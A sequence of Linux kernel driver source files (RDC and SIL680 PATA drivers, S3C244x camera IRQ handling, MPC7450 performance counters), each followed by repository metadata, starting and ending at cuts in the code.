*/ /* If the drive MWDMA is faster than it can do PIO then we must force PIO into PIO0 */ if (adev->pio_mode < needed_pio[mwdma]) /* Enable DMA timing only */ control |= 8; /* PIO cycles in PIO0 */ if (adev->devno) { /* Slave */ master_data &= 0xFF4F; /* Mask out IORDY|TIME1|DMAONLY */ master_data |= control << 4; pci_read_config_byte(dev, 0x44, &slave_data); slave_data &= (ap->port_no ? 0x0f : 0xf0); /* Load the matching timing */ slave_data |= ((timings[pio][0] << 2) | timings[pio][1]) << (ap->port_no ? 4 : 0); pci_write_config_byte(dev, 0x44, slave_data); } else { /* Master */ master_data &= 0xCCF4; /* Mask out IORDY|TIME1|DMAONLY and master timing bits */ master_data |= control; master_data |= (timings[pio][0] << 12) | (timings[pio][1] << 8); } udma_enable &= ~(1 << devid); pci_write_config_word(dev, master_port, master_data); } pci_write_config_byte(dev, 0x48, udma_enable); spin_unlock_irqrestore(&rdc_lock, flags); } static struct ata_port_operations rdc_pata_ops = { .inherits = &ata_bmdma32_port_ops, .cable_detect = rdc_pata_cable_detect, .set_piomode = rdc_set_piomode, .set_dmamode = rdc_set_dmamode, .prereset = rdc_pata_prereset, }; static struct ata_port_info rdc_port_info = { .flags = ATA_FLAG_SLAVE_POSS, .pio_mask = ATA_PIO4, .mwdma_mask = ATA_MWDMA12_ONLY, .udma_mask = ATA_UDMA5, .port_ops = &rdc_pata_ops, }; static struct scsi_host_template rdc_sht = { ATA_BMDMA_SHT(DRV_NAME), }; /** * rdc_init_one - Register PIIX ATA PCI device with kernel services * @pdev: PCI device to register * @ent: Entry in rdc_pci_tbl matching with @pdev * * Called from kernel PCI layer. We probe for combined mode (sigh), * and then hand over control to libata, for it to do the rest. * * LOCKING: * Inherited from PCI layer (may sleep). * * RETURNS: * Zero on success, or -ERRNO value. */ static int __devinit rdc_init_one(struct pci_dev *pdev, const struct pci_device_id *ent) { struct device *dev = &pdev->dev; struct ata_port_info port_info[2]; const struct ata_port_info *ppi[] = { &port_info[0], &port_info[1] }; unsigned long port_flags; struct ata_host *host; struct rdc_host_priv *hpriv; int rc; ata_print_version_once(&pdev->dev, DRV_VERSION); port_info[0] = rdc_port_info; port_info[1] = rdc_port_info; port_flags = port_info[0].flags; /* enable device and prepare host */ rc = pcim_enable_device(pdev); if (rc) return rc; hpriv = devm_kzalloc(dev, sizeof(*hpriv), GFP_KERNEL); if (!hpriv) return -ENOMEM; /* Save IOCFG, this will be used for cable detection, quirk * detection and restoration on detach. */ pci_read_config_dword(pdev, 0x54, &hpriv->saved_iocfg); rc = ata_pci_bmdma_prepare_host(pdev, ppi, &host); if (rc) return rc; host->private_data = hpriv; pci_intx(pdev, 1); host->flags |= ATA_HOST_PARALLEL_SCAN; pci_set_master(pdev); return ata_pci_sff_activate_host(host, ata_bmdma_interrupt, &rdc_sht); } static void rdc_remove_one(struct pci_dev *pdev) { struct ata_host *host = dev_get_drvdata(&pdev->dev); struct rdc_host_priv *hpriv = host->private_data; pci_write_config_dword(pdev, 0x54, hpriv->saved_iocfg); ata_pci_remove_one(pdev); } static const struct pci_device_id rdc_pci_tbl[] = { { PCI_DEVICE(0x17F3, 0x1011), }, { PCI_DEVICE(0x17F3, 0x1012), }, { } /* terminate list */ }; static struct pci_driver rdc_pci_driver = { .name = DRV_NAME, .id_table = rdc_pci_tbl, .probe = rdc_init_one, .remove = rdc_remove_one, #ifdef CONFIG_PM .suspend = ata_pci_device_suspend, .resume = ata_pci_device_resume, #endif }; static int __init rdc_init(void) { return pci_register_driver(&rdc_pci_driver); } static void __exit rdc_exit(void) { pci_unregister_driver(&rdc_pci_driver); } module_init(rdc_init); module_exit(rdc_exit); MODULE_AUTHOR("Alan Cox (based on ata_piix)"); MODULE_DESCRIPTION("SCSI low-level driver for RDC PATA controllers"); MODULE_LICENSE("GPL"); MODULE_DEVICE_TABLE(pci, rdc_pci_tbl); MODULE_VERSION(DRV_VERSION);
blastagator/LGG2_Kernel
drivers/ata/pata_rdc.c
C
gpl-2.0
11,221
/* * pata_sil680.c - SIL680 PATA for new ATA layer * (C) 2005 Red Hat Inc * * based upon * * linux/drivers/ide/pci/siimage.c Version 1.07 Nov 30, 2003 * * Copyright (C) 2001-2002 Andre Hedrick <andre@linux-ide.org> * Copyright (C) 2003 Red Hat <alan@redhat.com> * * May be copied or modified under the terms of the GNU General Public License * * Documentation publicly available. * * If you have strange problems with nVidia chipset systems please * see the SI support documentation and update your system BIOS * if necessary * * TODO * If we know all our devices are LBA28 (or LBA28 sized) we could use * the command fifo mode. */ #include <linux/kernel.h> #include <linux/module.h> #include <linux/pci.h> #include <linux/init.h> #include <linux/blkdev.h> #include <linux/delay.h> #include <scsi/scsi_host.h> #include <linux/libata.h> #define DRV_NAME "pata_sil680" #define DRV_VERSION "0.4.9" #define SIL680_MMIO_BAR 5 /** * sil680_selreg - return register base * @ap: ATA interface * @r: config offset * * Turn a config register offset into the right address in PCI space * to access the control register in question. * * Thankfully this is a configuration operation so isn't performance * criticial. */ static unsigned long sil680_selreg(struct ata_port *ap, int r) { unsigned long base = 0xA0 + r; base += (ap->port_no << 4); return base; } /** * sil680_seldev - return register base * @ap: ATA interface * @r: config offset * * Turn a config register offset into the right address in PCI space * to access the control register in question including accounting for * the unit shift. */ static unsigned long sil680_seldev(struct ata_port *ap, struct ata_device *adev, int r) { unsigned long base = 0xA0 + r; base += (ap->port_no << 4); base |= adev->devno ? 2 : 0; return base; } /** * sil680_cable_detect - cable detection * @ap: ATA port * * Perform cable detection. The SIL680 stores this in PCI config * space for us. */ static int sil680_cable_detect(struct ata_port *ap) { struct pci_dev *pdev = to_pci_dev(ap->host->dev); unsigned long addr = sil680_selreg(ap, 0); u8 ata66; pci_read_config_byte(pdev, addr, &ata66); if (ata66 & 1) return ATA_CBL_PATA80; else return ATA_CBL_PATA40; } /** * sil680_set_piomode - set PIO mode data * @ap: ATA interface * @adev: ATA device * * Program the SIL680 registers for PIO mode. Note that the task speed * registers are shared between the devices so we must pick the lowest * mode for command work. */ static void sil680_set_piomode(struct ata_port *ap, struct ata_device *adev) { static const u16 speed_p[5] = { 0x328A, 0x2283, 0x1104, 0x10C3, 0x10C1 }; static const u16 speed_t[5] = { 0x328A, 0x2283, 0x1281, 0x10C3, 0x10C1 }; unsigned long tfaddr = sil680_selreg(ap, 0x02); unsigned long addr = sil680_seldev(ap, adev, 0x04); unsigned long addr_mask = 0x80 + 4 * ap->port_no; struct pci_dev *pdev = to_pci_dev(ap->host->dev); int pio = adev->pio_mode - XFER_PIO_0; int lowest_pio = pio; int port_shift = 4 * adev->devno; u16 reg; u8 mode; struct ata_device *pair = ata_dev_pair(adev); if (pair != NULL && adev->pio_mode > pair->pio_mode) lowest_pio = pair->pio_mode - XFER_PIO_0; pci_write_config_word(pdev, addr, speed_p[pio]); pci_write_config_word(pdev, tfaddr, speed_t[lowest_pio]); pci_read_config_word(pdev, tfaddr-2, &reg); pci_read_config_byte(pdev, addr_mask, &mode); reg &= ~0x0200; /* Clear IORDY */ mode &= ~(3 << port_shift); /* Clear IORDY and DMA bits */ if (ata_pio_need_iordy(adev)) { reg |= 0x0200; /* Enable IORDY */ mode |= 1 << port_shift; } pci_write_config_word(pdev, tfaddr-2, reg); pci_write_config_byte(pdev, addr_mask, mode); } /** * sil680_set_dmamode - set DMA mode data * @ap: ATA interface * @adev: ATA device * * Program the MWDMA/UDMA modes for the sil680 chipset. * * The MWDMA mode values are pulled from a lookup table * while the chipset uses mode number for UDMA. */ static void sil680_set_dmamode(struct ata_port *ap, struct ata_device *adev) { static const u8 ultra_table[2][7] = { { 0x0C, 0x07, 0x05, 0x04, 0x02, 0x01, 0xFF }, /* 100MHz */ { 0x0F, 0x0B, 0x07, 0x05, 0x03, 0x02, 0x01 }, /* 133Mhz */ }; static const u16 dma_table[3] = { 0x2208, 0x10C2, 0x10C1 }; struct pci_dev *pdev = to_pci_dev(ap->host->dev); unsigned long ma = sil680_seldev(ap, adev, 0x08); unsigned long ua = sil680_seldev(ap, adev, 0x0C); unsigned long addr_mask = 0x80 + 4 * ap->port_no; int port_shift = adev->devno * 4; u8 scsc, mode; u16 multi, ultra; pci_read_config_byte(pdev, 0x8A, &scsc); pci_read_config_byte(pdev, addr_mask, &mode); pci_read_config_word(pdev, ma, &multi); pci_read_config_word(pdev, ua, &ultra); /* Mask timing bits */ ultra &= ~0x3F; mode &= ~(0x03 << port_shift); /* Extract scsc */ scsc = (scsc & 0x30) ? 1 : 0; if (adev->dma_mode >= XFER_UDMA_0) { multi = 0x10C1; ultra |= ultra_table[scsc][adev->dma_mode - XFER_UDMA_0]; mode |= (0x03 << port_shift); } else { multi = dma_table[adev->dma_mode - XFER_MW_DMA_0]; mode |= (0x02 << port_shift); } pci_write_config_byte(pdev, addr_mask, mode); pci_write_config_word(pdev, ma, multi); pci_write_config_word(pdev, ua, ultra); } /** * sil680_sff_exec_command - issue ATA command to host controller * @ap: port to which command is being issued * @tf: ATA taskfile register set * * Issues ATA command, with proper synchronization with interrupt * handler / other threads. Use our MMIO space for PCI posting to avoid * a hideously slow cycle all the way to the device. * * LOCKING: * spin_lock_irqsave(host lock) */ static void sil680_sff_exec_command(struct ata_port *ap, const struct ata_taskfile *tf) { DPRINTK("ata%u: cmd 0x%X\n", ap->print_id, tf->command); iowrite8(tf->command, ap->ioaddr.command_addr); ioread8(ap->ioaddr.bmdma_addr + ATA_DMA_CMD); } static bool sil680_sff_irq_check(struct ata_port *ap) { struct pci_dev *pdev = to_pci_dev(ap->host->dev); unsigned long addr = sil680_selreg(ap, 1); u8 val; pci_read_config_byte(pdev, addr, &val); return val & 0x08; } static struct scsi_host_template sil680_sht = { ATA_BMDMA_SHT(DRV_NAME), }; static struct ata_port_operations sil680_port_ops = { .inherits = &ata_bmdma32_port_ops, .sff_exec_command = sil680_sff_exec_command, .sff_irq_check = sil680_sff_irq_check, .cable_detect = sil680_cable_detect, .set_piomode = sil680_set_piomode, .set_dmamode = sil680_set_dmamode, }; /** * sil680_init_chip - chip setup * @pdev: PCI device * * Perform all the chip setup which must be done both when the device * is powered up on boot and when we resume in case we resumed from RAM. * Returns the final clock settings. */ static u8 sil680_init_chip(struct pci_dev *pdev, int *try_mmio) { u8 tmpbyte = 0; /* FIXME: double check */ pci_write_config_byte(pdev, PCI_CACHE_LINE_SIZE, pdev->revision ? 1 : 255); pci_write_config_byte(pdev, 0x80, 0x00); pci_write_config_byte(pdev, 0x84, 0x00); pci_read_config_byte(pdev, 0x8A, &tmpbyte); dev_dbg(&pdev->dev, "sil680: BA5_EN = %d clock = %02X\n", tmpbyte & 1, tmpbyte & 0x30); *try_mmio = 0; #ifdef CONFIG_PPC if (machine_is(cell)) *try_mmio = (tmpbyte & 1) || pci_resource_start(pdev, 5); #endif switch (tmpbyte & 0x30) { case 0x00: /* 133 clock attempt to force it on */ pci_write_config_byte(pdev, 0x8A, tmpbyte|0x10); break; case 0x30: /* if clocking is disabled */ /* 133 clock attempt to force it on */ pci_write_config_byte(pdev, 0x8A, tmpbyte & ~0x20); break; case 0x10: /* 133 already */ break; case 0x20: /* BIOS set PCI x2 clocking */ break; } pci_read_config_byte(pdev, 0x8A, &tmpbyte); dev_dbg(&pdev->dev, "sil680: BA5_EN = %d clock = %02X\n", tmpbyte & 1, tmpbyte & 0x30); pci_write_config_byte(pdev, 0xA1, 0x72); pci_write_config_word(pdev, 0xA2, 0x328A); pci_write_config_dword(pdev, 0xA4, 0x62DD62DD); pci_write_config_dword(pdev, 0xA8, 0x43924392); pci_write_config_dword(pdev, 0xAC, 0x40094009); pci_write_config_byte(pdev, 0xB1, 0x72); pci_write_config_word(pdev, 0xB2, 0x328A); pci_write_config_dword(pdev, 0xB4, 0x62DD62DD); pci_write_config_dword(pdev, 0xB8, 0x43924392); pci_write_config_dword(pdev, 0xBC, 0x40094009); switch (tmpbyte & 0x30) { case 0x00: printk(KERN_INFO "sil680: 100MHz clock.\n"); break; case 0x10: printk(KERN_INFO "sil680: 133MHz clock.\n"); break; case 0x20: printk(KERN_INFO "sil680: Using PCI clock.\n"); break; /* This last case is _NOT_ ok */ case 0x30: printk(KERN_ERR "sil680: Clock disabled ?\n"); } return tmpbyte & 0x30; } static int __devinit sil680_init_one(struct pci_dev *pdev, const struct pci_device_id *id) { static const struct ata_port_info info = { .flags = ATA_FLAG_SLAVE_POSS, .pio_mask = ATA_PIO4, .mwdma_mask = ATA_MWDMA2, .udma_mask = ATA_UDMA6, .port_ops = &sil680_port_ops }; static const struct ata_port_info info_slow = { .flags = ATA_FLAG_SLAVE_POSS, .pio_mask = ATA_PIO4, .mwdma_mask = ATA_MWDMA2, .udma_mask = ATA_UDMA5, .port_ops = &sil680_port_ops }; const struct ata_port_info *ppi[] = { &info, NULL }; struct ata_host *host; void __iomem *mmio_base; int rc, try_mmio; ata_print_version_once(&pdev->dev, DRV_VERSION); rc = pcim_enable_device(pdev); if (rc) return rc; switch (sil680_init_chip(pdev, &try_mmio)) { case 0: ppi[0] = &info_slow; break; case 0x30: return -ENODEV; } if (!try_mmio) goto use_ioports; /* Try to acquire MMIO resources and fallback to PIO if * that fails */ rc = pcim_iomap_regions(pdev, 1 << SIL680_MMIO_BAR, DRV_NAME); if (rc) goto use_ioports; /* Allocate host and set it up */ host = ata_host_alloc_pinfo(&pdev->dev, ppi, 2); if (!host) return -ENOMEM; host->iomap = pcim_iomap_table(pdev); /* Setup DMA masks */ rc = pci_set_dma_mask(pdev, ATA_DMA_MASK); if (rc) return rc; rc = pci_set_consistent_dma_mask(pdev, ATA_DMA_MASK); if (rc) return rc; pci_set_master(pdev); /* Get MMIO base and initialize port addresses */ mmio_base = host->iomap[SIL680_MMIO_BAR]; host->ports[0]->ioaddr.bmdma_addr = mmio_base + 0x00; host->ports[0]->ioaddr.cmd_addr = mmio_base + 0x80; host->ports[0]->ioaddr.ctl_addr = mmio_base + 0x8a; host->ports[0]->ioaddr.altstatus_addr = mmio_base + 0x8a; ata_sff_std_ports(&host->ports[0]->ioaddr); host->ports[1]->ioaddr.bmdma_addr = mmio_base + 0x08; host->ports[1]->ioaddr.cmd_addr = mmio_base + 0xc0; host->ports[1]->ioaddr.ctl_addr = mmio_base + 0xca; host->ports[1]->ioaddr.altstatus_addr = mmio_base + 0xca; ata_sff_std_ports(&host->ports[1]->ioaddr); /* Register & activate */ return ata_host_activate(host, pdev->irq, ata_bmdma_interrupt, IRQF_SHARED, &sil680_sht); use_ioports: return ata_pci_bmdma_init_one(pdev, ppi, &sil680_sht, NULL, 0); } #ifdef CONFIG_PM static int sil680_reinit_one(struct pci_dev *pdev) { struct ata_host *host = dev_get_drvdata(&pdev->dev); int try_mmio, rc; rc = ata_pci_device_do_resume(pdev); if (rc) return rc; sil680_init_chip(pdev, &try_mmio); ata_host_resume(host); return 0; } #endif static const struct pci_device_id sil680[] = { { PCI_VDEVICE(CMD, PCI_DEVICE_ID_SII_680), }, { }, }; static struct pci_driver sil680_pci_driver = { .name = DRV_NAME, .id_table = sil680, .probe = sil680_init_one, .remove = ata_pci_remove_one, #ifdef CONFIG_PM .suspend = ata_pci_device_suspend, .resume = sil680_reinit_one, #endif }; static int __init sil680_init(void) { return pci_register_driver(&sil680_pci_driver); } static void __exit sil680_exit(void) { pci_unregister_driver(&sil680_pci_driver); } MODULE_AUTHOR("Alan Cox"); MODULE_DESCRIPTION("low-level driver for SI680 PATA"); MODULE_LICENSE("GPL"); MODULE_DEVICE_TABLE(pci, sil680); MODULE_VERSION(DRV_VERSION); module_init(sil680_init); module_exit(sil680_exit);
Slim80/Imperium_Kernel_TW_4.4.2_new
drivers/ata/pata_sil680.c
C
gpl-2.0
11,922
/* linux/arch/arm/plat-s3c24xx/s3c244x-irq.c * * Copyright (c) 2003-2004 Simtec Electronics * Ben Dooks <ben@simtec.co.uk> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * */ #include <linux/init.h> #include <linux/module.h> #include <linux/interrupt.h> #include <linux/ioport.h> #include <linux/device.h> #include <linux/io.h> #include <mach/hardware.h> #include <asm/irq.h> #include <asm/mach/irq.h> #include <mach/regs-irq.h> #include <mach/regs-gpio.h> #include <plat/cpu.h> #include <plat/pm.h> #include <plat/irq.h> /* camera irq */ static void s3c_irq_demux_cam(unsigned int irq, struct irq_desc *desc) { unsigned int subsrc, submsk; /* read the current pending interrupts, and the mask * for what it is available */ subsrc = __raw_readl(S3C2410_SUBSRCPND); submsk = __raw_readl(S3C2410_INTSUBMSK); subsrc &= ~submsk; subsrc >>= 11; subsrc &= 3; if (subsrc != 0) { if (subsrc & 1) { generic_handle_irq(IRQ_S3C2440_CAM_C); } if (subsrc & 2) { generic_handle_irq(IRQ_S3C2440_CAM_P); } } } #define INTMSK_CAM (1UL << (IRQ_CAM - IRQ_EINT0)) static void s3c_irq_cam_mask(struct irq_data *data) { s3c_irqsub_mask(data->irq, INTMSK_CAM, 3 << 11); } static void s3c_irq_cam_unmask(struct irq_data *data) { s3c_irqsub_unmask(data->irq, INTMSK_CAM); } static void s3c_irq_cam_ack(struct irq_data *data) { s3c_irqsub_maskack(data->irq, INTMSK_CAM, 3 << 11); } static struct irq_chip s3c_irq_cam = { .irq_mask = s3c_irq_cam_mask, .irq_unmask = s3c_irq_cam_unmask, .irq_ack = s3c_irq_cam_ack, }; static int s3c244x_irq_add(struct device *dev, struct subsys_interface *sif) { unsigned int irqno; irq_set_chip_and_handler(IRQ_NFCON, &s3c_irq_level_chip, handle_level_irq); set_irq_flags(IRQ_NFCON, IRQF_VALID); /* add chained handler for camera */ irq_set_chip_and_handler(IRQ_CAM, &s3c_irq_level_chip, handle_level_irq); irq_set_chained_handler(IRQ_CAM, s3c_irq_demux_cam); for (irqno = IRQ_S3C2440_CAM_C; irqno <= IRQ_S3C2440_CAM_P; irqno++) { irq_set_chip_and_handler(irqno, &s3c_irq_cam, handle_level_irq); set_irq_flags(irqno, IRQF_VALID); } return 0; } static struct subsys_interface s3c2440_irq_interface = { .name = "s3c2440_irq", .subsys = &s3c2440_subsys, .add_dev = s3c244x_irq_add, }; static int s3c2440_irq_init(void) { return subsys_interface_register(&s3c2440_irq_interface); } arch_initcall(s3c2440_irq_init); static struct subsys_interface s3c2442_irq_interface = { .name = "s3c2442_irq", .subsys = &s3c2442_subsys, .add_dev = s3c244x_irq_add, }; static int s3c2442_irq_init(void) { return subsys_interface_register(&s3c2442_irq_interface); } arch_initcall(s3c2442_irq_init);
SaberMod/lge-kernel-mako
arch/arm/mach-s3c24xx/irq-s3c244x.c
C
gpl-2.0
3,368
/* * Performance counter support for MPC7450-family processors. * * Copyright 2008-2009 Paul Mackerras, IBM Corporation. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. */ #include <linux/string.h> #include <linux/perf_event.h> #include <asm/reg.h> #include <asm/cputable.h> #define N_COUNTER 6 /* Number of hardware counters */ #define MAX_ALT 3 /* Maximum number of event alternative codes */ /* * Bits in event code for MPC7450 family */ #define PM_THRMULT_MSKS 0x40000 #define PM_THRESH_SH 12 #define PM_THRESH_MSK 0x3f #define PM_PMC_SH 8 #define PM_PMC_MSK 7 #define PM_PMCSEL_MSK 0x7f /* * Classify events according to how specific their PMC requirements are. * Result is: * 0: can go on any PMC * 1: can go on PMCs 1-4 * 2: can go on PMCs 1,2,4 * 3: can go on PMCs 1 or 2 * 4: can only go on one PMC * -1: event code is invalid */ #define N_CLASSES 5 static int mpc7450_classify_event(u32 event) { int pmc; pmc = (event >> PM_PMC_SH) & PM_PMC_MSK; if (pmc) { if (pmc > N_COUNTER) return -1; return 4; } event &= PM_PMCSEL_MSK; if (event <= 1) return 0; if (event <= 7) return 1; if (event <= 13) return 2; if (event <= 22) return 3; return -1; } /* * Events using threshold and possible threshold scale: * code scale? name * 11e N PM_INSTQ_EXCEED_CYC * 11f N PM_ALTV_IQ_EXCEED_CYC * 128 Y PM_DTLB_SEARCH_EXCEED_CYC * 12b Y PM_LD_MISS_EXCEED_L1_CYC * 220 N PM_CQ_EXCEED_CYC * 30c N PM_GPR_RB_EXCEED_CYC * 30d ? PM_FPR_IQ_EXCEED_CYC ? * 311 Y PM_ITLB_SEARCH_EXCEED * 410 N PM_GPR_IQ_EXCEED_CYC */ /* * Return use of threshold and threshold scale bits: * 0 = uses neither, 1 = uses threshold, 2 = uses both */ static int mpc7450_threshold_use(u32 event) { int pmc, sel; pmc = (event >> PM_PMC_SH) & PM_PMC_MSK; sel = event & PM_PMCSEL_MSK; switch (pmc) { case 1: if (sel == 0x1e || sel == 0x1f) return 1; if (sel == 0x28 || sel == 0x2b) return 2; break; case 2: if (sel == 0x20) return 1; break; case 3: if (sel == 0xc || sel == 0xd) return 1; if (sel == 0x11) return 2; break; case 4: if (sel == 0x10) return 1; break; } return 0; } /* * Layout of constraint bits: * 33222222222211111111110000000000 * 10987654321098765432109876543210 * |< >< > < > < ><><><><><><> * TS TV G4 G3 G2P6P5P4P3P2P1 * * P1 - P6 * 0 - 11: Count of events needing PMC1 .. PMC6 * * G2 * 12 - 14: Count of events needing PMC1 or PMC2 * * G3 * 16 - 18: Count of events needing PMC1, PMC2 or PMC4 * * G4 * 20 - 23: Count of events needing PMC1, PMC2, PMC3 or PMC4 * * TV * 24 - 29: Threshold value requested * * TS * 30: Threshold scale value requested */ static u32 pmcbits[N_COUNTER][2] = { { 0x00844002, 0x00111001 }, /* PMC1 mask, value: P1,G2,G3,G4 */ { 0x00844008, 0x00111004 }, /* PMC2: P2,G2,G3,G4 */ { 0x00800020, 0x00100010 }, /* PMC3: P3,G4 */ { 0x00840080, 0x00110040 }, /* PMC4: P4,G3,G4 */ { 0x00000200, 0x00000100 }, /* PMC5: P5 */ { 0x00000800, 0x00000400 } /* PMC6: P6 */ }; static u32 classbits[N_CLASSES - 1][2] = { { 0x00000000, 0x00000000 }, /* class 0: no constraint */ { 0x00800000, 0x00100000 }, /* class 1: G4 */ { 0x00040000, 0x00010000 }, /* class 2: G3 */ { 0x00004000, 0x00001000 }, /* class 3: G2 */ }; static int mpc7450_get_constraint(u64 event, unsigned long *maskp, unsigned long *valp) { int pmc, class; u32 mask, value; int thresh, tuse; class = mpc7450_classify_event(event); if (class < 0) return -1; if (class == 4) { pmc = ((unsigned int)event >> PM_PMC_SH) & PM_PMC_MSK; mask = pmcbits[pmc - 1][0]; value = pmcbits[pmc - 1][1]; } else { mask = classbits[class][0]; value = classbits[class][1]; } tuse = mpc7450_threshold_use(event); if (tuse) { thresh = ((unsigned int)event >> PM_THRESH_SH) & PM_THRESH_MSK; mask |= 0x3f << 24; value |= thresh << 24; if (tuse == 2) { mask |= 0x40000000; if ((unsigned int)event & PM_THRMULT_MSKS) value |= 0x40000000; } } *maskp = mask; *valp = value; return 0; } static const unsigned int event_alternatives[][MAX_ALT] = { { 0x217, 0x317 }, /* PM_L1_DCACHE_MISS */ { 0x418, 0x50f, 0x60f }, /* PM_SNOOP_RETRY */ { 0x502, 0x602 }, /* PM_L2_HIT */ { 0x503, 0x603 }, /* PM_L3_HIT */ { 0x504, 0x604 }, /* PM_L2_ICACHE_MISS */ { 0x505, 0x605 }, /* PM_L3_ICACHE_MISS */ { 0x506, 0x606 }, /* PM_L2_DCACHE_MISS */ { 0x507, 0x607 }, /* PM_L3_DCACHE_MISS */ { 0x50a, 0x623 }, /* PM_LD_HIT_L3 */ { 0x50b, 0x624 }, /* PM_ST_HIT_L3 */ { 0x50d, 0x60d }, /* PM_L2_TOUCH_HIT */ { 0x50e, 0x60e }, /* PM_L3_TOUCH_HIT */ { 0x512, 0x612 }, /* PM_INT_LOCAL */ { 0x513, 0x61d }, /* PM_L2_MISS */ { 0x514, 0x61e }, /* PM_L3_MISS */ }; /* * Scan the alternatives table for a match and return the * index into the alternatives table if found, else -1. */ static int find_alternative(u32 event) { int i, j; for (i = 0; i < ARRAY_SIZE(event_alternatives); ++i) { if (event < event_alternatives[i][0]) break; for (j = 0; j < MAX_ALT && event_alternatives[i][j]; ++j) if (event == event_alternatives[i][j]) return i; } return -1; } static int mpc7450_get_alternatives(u64 event, unsigned int flags, u64 alt[]) { int i, j, nalt = 1; u32 ae; alt[0] = event; nalt = 1; i = find_alternative((u32)event); if (i >= 0) { for (j = 0; j < MAX_ALT; ++j) { ae = event_alternatives[i][j]; if (ae && ae != (u32)event) alt[nalt++] = ae; } } return nalt; } /* * Bitmaps of which PMCs each class can use for classes 0 - 3. * Bit i is set if PMC i+1 is usable. */ static const u8 classmap[N_CLASSES] = { 0x3f, 0x0f, 0x0b, 0x03, 0 }; /* Bit position and width of each PMCSEL field */ static const int pmcsel_shift[N_COUNTER] = { 6, 0, 27, 22, 17, 11 }; static const u32 pmcsel_mask[N_COUNTER] = { 0x7f, 0x3f, 0x1f, 0x1f, 0x1f, 0x3f }; /* * Compute MMCR0/1/2 values for a set of events. */ static int mpc7450_compute_mmcr(u64 event[], int n_ev, unsigned int hwc[], unsigned long mmcr[]) { u8 event_index[N_CLASSES][N_COUNTER]; int n_classevent[N_CLASSES]; int i, j, class, tuse; u32 pmc_inuse = 0, pmc_avail; u32 mmcr0 = 0, mmcr1 = 0, mmcr2 = 0; u32 ev, pmc, thresh; if (n_ev > N_COUNTER) return -1; /* First pass: count usage in each class */ for (i = 0; i < N_CLASSES; ++i) n_classevent[i] = 0; for (i = 0; i < n_ev; ++i) { class = mpc7450_classify_event(event[i]); if (class < 0) return -1; j = n_classevent[class]++; event_index[class][j] = i; } /* Second pass: allocate PMCs from most specific event to least */ for (class = N_CLASSES - 1; class >= 0; --class) { for (i = 0; i < n_classevent[class]; ++i) { ev = event[event_index[class][i]]; if (class == 4) { pmc = (ev >> PM_PMC_SH) & PM_PMC_MSK; if (pmc_inuse & (1 << (pmc - 1))) return -1; } else { /* Find a suitable PMC */ pmc_avail = classmap[class] & ~pmc_inuse; if (!pmc_avail) return -1; pmc = ffs(pmc_avail); } pmc_inuse |= 1 << (pmc - 1); tuse = mpc7450_threshold_use(ev); if (tuse) { thresh = (ev >> PM_THRESH_SH) & PM_THRESH_MSK; mmcr0 |= thresh << 16; if (tuse == 2 && (ev & PM_THRMULT_MSKS)) mmcr2 = 0x80000000; } ev &= pmcsel_mask[pmc - 1]; ev <<= pmcsel_shift[pmc - 1]; if (pmc <= 2) mmcr0 |= ev; else mmcr1 |= ev; hwc[event_index[class][i]] = pmc - 1; } } if (pmc_inuse & 1) mmcr0 |= MMCR0_PMC1CE; if (pmc_inuse & 0x3e) mmcr0 |= MMCR0_PMCnCE; /* Return MMCRx values */ mmcr[0] = mmcr0; mmcr[1] = mmcr1; mmcr[2] = mmcr2; return 0; } /* * Disable counting by a PMC. * Note that the pmc argument is 0-based here, not 1-based. */ static void mpc7450_disable_pmc(unsigned int pmc, unsigned long mmcr[]) { if (pmc <= 1) mmcr[0] &= ~(pmcsel_mask[pmc] << pmcsel_shift[pmc]); else mmcr[1] &= ~(pmcsel_mask[pmc] << pmcsel_shift[pmc]); } static int mpc7450_generic_events[] = { [PERF_COUNT_HW_CPU_CYCLES] = 1, [PERF_COUNT_HW_INSTRUCTIONS] = 2, [PERF_COUNT_HW_CACHE_MISSES] = 0x217, /* PM_L1_DCACHE_MISS */ [PERF_COUNT_HW_BRANCH_INSTRUCTIONS] = 0x122, /* PM_BR_CMPL */ [PERF_COUNT_HW_BRANCH_MISSES] = 0x41c, /* PM_BR_MPRED */ }; #define C(x) PERF_COUNT_HW_CACHE_##x /* * Table of generalized cache-related events. * 0 means not supported, -1 means nonsensical, other values * are event codes. */ static int mpc7450_cache_events[C(MAX)][C(OP_MAX)][C(RESULT_MAX)] = { [C(L1D)] = { /* RESULT_ACCESS RESULT_MISS */ [C(OP_READ)] = { 0, 0x225 }, [C(OP_WRITE)] = { 0, 0x227 }, [C(OP_PREFETCH)] = { 0, 0 }, }, [C(L1I)] = { /* RESULT_ACCESS RESULT_MISS */ [C(OP_READ)] = { 0x129, 0x115 }, [C(OP_WRITE)] = { -1, -1 }, [C(OP_PREFETCH)] = { 0x634, 0 }, }, [C(LL)] = { /* RESULT_ACCESS RESULT_MISS */ [C(OP_READ)] = { 0, 0 }, [C(OP_WRITE)] = { 0, 0 }, [C(OP_PREFETCH)] = { 0, 0 }, }, [C(DTLB)] = { /* RESULT_ACCESS RESULT_MISS */ [C(OP_READ)] = { 0, 0x312 }, [C(OP_WRITE)] = { -1, -1 }, [C(OP_PREFETCH)] = { -1, -1 }, }, [C(ITLB)] = { /* RESULT_ACCESS RESULT_MISS */ [C(OP_READ)] = { 0, 0x223 }, [C(OP_WRITE)] = { -1, -1 }, [C(OP_PREFETCH)] = { -1, -1 }, }, [C(BPU)] = { /* RESULT_ACCESS RESULT_MISS */ [C(OP_READ)] = { 0x122, 0x41c }, [C(OP_WRITE)] = { -1, -1 }, [C(OP_PREFETCH)] = { -1, -1 }, }, [C(NODE)] = { /* RESULT_ACCESS RESULT_MISS */ [C(OP_READ)] = { -1, -1 }, [C(OP_WRITE)] = { -1, -1 }, [C(OP_PREFETCH)] = { -1, -1 }, }, }; struct power_pmu mpc7450_pmu = { .name = "MPC7450 family", .n_counter = N_COUNTER, .max_alternatives = MAX_ALT, .add_fields = 0x00111555ul, .test_adder = 0x00301000ul, .compute_mmcr = mpc7450_compute_mmcr, .get_constraint = mpc7450_get_constraint, 